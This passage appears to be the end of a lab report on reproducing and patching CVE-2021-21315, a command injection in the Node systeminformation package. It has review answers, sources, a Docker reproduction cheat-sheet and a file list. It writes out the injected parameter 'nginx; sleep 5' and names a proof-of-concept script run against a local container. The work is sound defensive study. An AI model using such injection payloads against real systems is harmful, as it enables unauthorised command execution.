
Isolation (the old, vulnerable version runs in its own container and cannot affect the host), reproducibility (the image pins the exact version, so the result does not depend on the machine), disposability (docker compose down removes every trace, including anything an exploit dropped), and speed (no dependency conflicts with the host, no manual configuration of old runtimes). For a Node project it also removes the risk of touching the host's global npm tree.

6. Difference between a vulnerability and an exploit? What was reproduced here?

A vulnerability is the weakness itself — here, a parameter that reaches a shell command line and a contract that lets an array travel through it. An exploit is the concrete procedure that turns the weakness into an effect — here, one GET request whose parameter is nginx; sleep 5. The vulnerability exists whether or not anyone exploits it; the exploit is one of many possible payloads. What was reproduced was the exploit against the vulnerable release, and then its failure against the patched one.

7. Why is regression testing after a fix critically important?

A security fix changes behaviour, and it is easy to break the product while closing the hole: tightening a type check can break a caller that legitimately passed an array, and a stricter sanitiser can break names that contain a legitimate dot or dash. Without a regression test you either ship a broken application or, worse, revert the fix under pressure. The verification script therefore checks both directions: the payload must not execute, and a legitimate request must still return 200. The same idea is applied to the API: the 28 automated tests are the regression net that lets a security control be changed without silently losing another one.

8. How does the ability to reproduce CVEs help a security specialist?

It converts a text description into a tested mental model: you learn which parameter, which sink, which precondition, and you can then recognise the same pattern in a different product — concatenation into a shell appears in every ecosystem. For a pentester it shortens the path from a version banner to a working proof of concept; for a SOC analyst it makes the corresponding log lines recognisable (a parameter containing a semicolon, a latency outlier, a sleep child process); for a developer it produces a fix that addresses the cause rather than the symptom. It is also the only honest way to validate that a mitigation actually works.

16. Sources

- OWASP Top 10 (2021) — https://owasp.org/www-project-top-ten/
- OWASP Cheat Sheet Series: Authentication, SQL Injection Prevention, XSS Prevention, JWT, OS Command Injection — https://cheatsheetseries.owasp.org/
- JWT introduction — https://jwt.io/introduction
- GitHub Actions documentation — https://docs.github.com/en/actions
- GitHub Advisory GHSA-2m8v-572m-ff2v / CVE-2021-21315 — https://github.com/advisories/GHSA-2m8v-572m-ff2v

- NVD — CVE-2021-21315 — https://nvd.nist.gov/vuln/detail/CVE-2021-21315
- systeminformation patch 07daa05fb06f24f96297abaa30c2ace8bfd8b525 — https://github.com/sebhildebrandt/systeminformation/commit/07daa05fb06f24f96297abaa30c2ace8bfd8b525
- npm package page — https://www.npmjs.com/package/systeminformation
- Node.js child_process documentation (exec vs execFile) — https://nodejs.org/api/child_process.html
- Docker documentation — https://docs.docker.com/

Appendix A. Reproduction cheat-sheet

```
# 1. API
pip install -r requirements-dev.txt
export JWT_SECRET="$(python -c 'import secrets;print(secrets.token_urlsafe(48))')"
python run.py                                  # http://127.0.0.1:5000

# 2. security tooling (same commands as CI)
bandit -r app run.py -ll -f screen
pip-audit -r requirements.txt --strict --desc on
pytest -v

# 3. vulnerable environment
docker compose up -d --build                   # systeminformation 5.3.0
curl -s http://127.0.0.1:3000/health

# 4. exploit / verify
python exploit/si_exploit.py --target http://127.0.0.1:3000
docker compose down
docker compose -f docker-compose.fixed.yml up -d --build   # 5.3.1 + allow-list
python exploit/verify_fix.py --target http://127.0.0.1:3000

# 5. library-level A/B evidence (no Docker needed)
npm i systeminformation@5.3.0 --prefix .tmp/old
npm i systeminformation@5.3.1 --prefix .tmp/new
node exploit/version_probe.js .tmp/old/node_modules/systeminformation
node exploit/version_probe.js .tmp/new/node_modules/systeminformation
```

Appendix B. Files added for the fix (deliverable folder)

File	Role
cve-fixes/Dockerfile	vulnerable image — systeminformation 5.3.0, non-root user
cve-fixes/Dockerfile.fixed	fixed image — systeminformation 5.3.1 + ALLOW_LIST=1
cve-fixes/docker-compose.yml	runs the vulnerable image on port 3000
cve-fixes/docker-compose.fixed.yml	runs the fixed image on port 3000
cve-fixes/app/server.js	the dashboard API (about 40 lines) used in both environments
cve-fixes/app/package.json	pins express and systeminformation 5.3.0
cve-fixes/exploit/si_exploit.py	time-based PoC with the full HTTP transcript
cve-fixes/exploit/verify_fix.py	post-fix verification: exploit blocked + regression
cve-fixes/exploit/version_probe.js	library-level A/B probe (5.3.0 vs 5.3.1)
evidence/*.txt	captured outputs (API demo, bandit, pip-audit, pytest, si_probe)